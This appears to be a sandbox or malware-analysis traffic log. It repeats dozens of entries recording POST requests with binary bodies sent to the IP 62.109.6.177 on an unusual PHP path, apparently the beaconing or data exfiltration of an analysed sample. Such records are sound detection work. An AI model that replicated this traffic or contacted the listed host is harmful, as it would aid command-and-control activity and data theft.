Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1876Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1892Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continue
